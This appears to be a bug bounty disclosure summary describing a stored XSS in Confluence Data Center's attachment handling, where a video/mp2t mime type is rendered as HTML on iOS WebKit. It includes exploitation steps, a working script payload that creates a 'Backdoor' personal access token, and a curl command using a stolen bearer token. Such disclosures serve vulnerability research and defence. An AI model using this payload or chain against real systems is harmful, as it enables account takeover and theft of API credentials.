# Authentication Bypass in the Rest API via XSS on Safari and Chrome (iOS/iPhone only)

Confluence's deny-list mime-type check missed video/mp2t, which iOS WebKit renders as HTML, enabling stored XSS that creates a PAT token in the victim's account.

- Payout: $3,600
- Severity: high
- Program: Atlassian
- Found by: c4v4r0n
- Disclosed: 2025-07-02
- Write-up quality: 7/10
- Original: https://bugcrowd.com/disclosures/d5f4aa80-77da-49bb-a259-afe23b6bfa0a/authentication-bypass-in-the-rest-api-via-xss-on-safari-and-chrome-ios-iphone-only
- Library page: https://bugbountylibrary.com/r/bc%3Ad587f539-7efb-482c-ab72-d9eb1277f748
- Tags: area:web domain:web impact:ato impact:data-leak kind:bounty platform:bugcrowd sev:high tech:java technique:fuzzing technique:incomplete-fix technique:source-review vuln:auth-bypass vuln:xss

**Target:** Confluence Data Center attachment upload/download endpoint
**Root cause:** ContentDispositionHeaderGuesser uses a deny-list (isExecutableContentType) to decide inline vs attachment; video/mp2t is not on the list but iOS Safari/Chrome WebKit interprets it as HTML, so an uploaded HTML file served inline executes script.
**Steps:**
1. Upload an HTML payload file with a non-blocked extension (e.g. `token.png`) via `POST /plugins/drag-and-drop/upload.action`
2. Intercept the request and change the `mimeType` GET parameter to `video/mp2t`
3. Response serves file inline at `/download/attachments/{ID}/token.png?version=1&...&api=v2`
4. Send link to victim on iPhone/iPad using Safari or Chrome
5. Payload runs: `fetch("/rest/pat/latest/tokens",{headers:{'Accept':'application/json','Content-Type':'application/json'},method:"POST",body:JSON.stringify({name:"Backdoor", expirationDuration:90})})` and exfiltrates `rawToken`
**How found:** Source-code review of Confluence's ContentDispositionHeaderGuesser/hostileExtensionDetector revealed a deny-list approach; researcher then built a browser fuzzer over mime-types to find one WebKit renders as HTML but the deny-list misses, discovering video/mp2t.
**Exploitation:** Attacker uploads HTML payload as .png with mimeType=video/mp2t, gets inline-served URL, sends to victim on iOS; script executes in Confluence origin, creates a Personal Access Token via REST API and exfiltrates it, granting API access as victim.
**Escalation:** XSS in Confluence origin chained to PAT creation yields persistent API authentication bypass.
**Insight:** When a server uses a mime-type deny-list to gate inline rendering, fuzz mime-types against the actual client parser (especially mobile WebKit) rather than trusting the list; obscure types like video/mp2t can be HTML-interpreted.

## Proof of concept (copied exactly from the original report)

**XSS payload creating PAT token**

```
<script>
(async () => {
 const rawResponse = await fetch("/rest/pat/latest/tokens",
{
 headers: {
 'Accept': 'application/json',
 'Content-Type': 'application/json'
 },
 method: "POST",
 body: JSON.stringify({name:"Backdoor", expirationDuration:90})
});
 const content = await rawResponse.json();
 alert(content.rawToken);
})();
</script>
```

**curl using stolen PAT token**

```
curl -H 'Authorization: Bearer NDMxMTI2NjM3Nzk2OhAVOxGM+a7vpoX5HRsw8yOVLk2/' http://localhost:8090/rest/api/user?username=admin ; echo
```

